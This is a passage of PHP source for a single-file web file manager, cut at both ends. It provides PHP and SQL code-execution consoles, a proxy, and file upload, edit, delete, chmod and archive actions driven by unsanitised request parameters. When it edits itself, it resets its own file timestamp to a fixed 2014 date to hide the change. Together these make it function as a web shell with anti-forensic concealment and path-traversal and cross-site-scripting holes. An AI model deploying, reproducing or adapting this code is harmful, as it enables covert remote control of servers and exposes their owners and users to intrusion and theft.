url("data:image/png;base64,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"); } <?php echo fm_home_style(); ?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) { $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) { $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr> ' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . ' ' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . ' ' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . ' ' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . ' <tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr> ' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . ' ' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . ' ' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . ' ' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . ' <tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr> </form> </table>'; echo fm_tpl_form('php'), fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); ?> <?php echo __('Console'); if ($res_lng == 'sql') { echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php'); } else { echo '</h2></td><td>' . fm_run_input('sql'); } ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?php echo $url_inc . '&path=' . $path; ?>"><?php echo __('Back'); ?></a> <form action="" method="POST" name="console"> <textarea name="<?php echo $res_lng; ?>" cols="80" rows="10" style="width: 90%"><?php echo $res; ?></textarea><br/> <input type="reset" value="<?php echo __('Reset'); ?>"> <input type="submit" value="<?php echo __('Submit'); ?>" name="<?php echo $res_lng; ?>run"> <?php $str_tmpl = $res_lng . '_templates'; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : ''; $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key => $value) { $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun = 'fm_' . $res_lng; echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>'; } } elseif (!empty($_REQUEST['edit'])) { if (!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if ($_GET['edit'] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config['restore_time'])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?php echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit']; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <?php echo fm_home(); ?> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $editlink; ?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?></textarea> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> <input type="submit" name="cancel" value="<?php echo __('Cancel'); ?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif (!empty($_REQUEST['rights'])) { if (!empty($_REQUEST['save'])) { if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rights') . ' - ' . $_REQUEST['rights']; ?> <input type="text" name="rights_val" value="<?php echo $oldrights; ?>"> <?php if (is_dir($path . $_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?php echo __('Recursively'); ?><br/> <?php } ?> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') { if (!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= __('File updated'); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rename'); ?>: <input type="text" name="newname" value="<?php echo $_REQUEST['rename']; ?>"><br/> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) { if (!empty($_FILES['upload']['name'])) { $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) { $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name']; } } } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') { if (!fm_del_files($path . $_REQUEST['delete'], true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted') . ' ' . $_REQUEST['delete']; } } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) { if (!@mkdir($path . $_REQUEST['dirname'], 0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created') . ' ' . $_REQUEST['dirname']; } } elseif (!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if (!empty($search_data)) { $msg .= __('Found in files') . ' (' . count($search_data) . '):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="' . fm_url(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a> '; } } else { $msg .= __('Nothing founded'); } } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) { if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created') . ' ' . $_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source) . '.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } set_time_limit(0); //echo $destination; $ext_arr = explode('.', basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode('.', $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?php echo __('File manager'); echo !empty($path) ? ' - ' . $path : ''; ?></th> </tr> <?php if (!empty($msg)) { ?> <tr> <td colspan="2" class="row2"><?php echo $msg; ?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?php echo fm_home(); ?> </td> <td> <?php if (!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?php echo __('Make directory'); ?>"> </form> <?php } ?> </td> <td> <?php if (!empty($fm_config['new_file'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?php echo __('New file'); ?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?php echo $url_inc; ?>" style="display:inline"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" placeholder="<?php echo __('Recursive search'); ?>" name="search_recursive" value="<?php echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : ''; ?>" size="15"> <input type="text" name="mask" placeholder="<?php echo __('Mask'); ?>" value="<?php echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*'; ?>" size="5"> <input type="submit" name="search" value="<?php echo __('Search'); ?>"> </form> </td> <td> <?php echo fm_run_input('php'); ?> </td> <td> <?php echo fm_run_input('sql'); ?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?php echo $url_inc; ?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?php echo __('Select the file'); ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?php echo __('Upload'); ?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?php echo __('Hello'); ?>, <?php echo $auth['login']; ?> <input type="submit" value="<?php echo __('Quit'); ?>"> </form> <?php } ?> </td> <td> <?php echo fm_lang_form($language); ?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?php echo __('Filename'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Size'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Date'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Rights'); ?> </th> <th colspan="4" style="white-space:nowrap"> <?php echo __('Manage'); ?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config['show_dir_size']) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder"> </span> ' . $file . '</a>'; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file); $style = 'row2'; if (!fm_root($file)) { $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } else { $alert = ''; } } else { $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img"> </span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file"> </span> ' . $file . '</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file); $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') 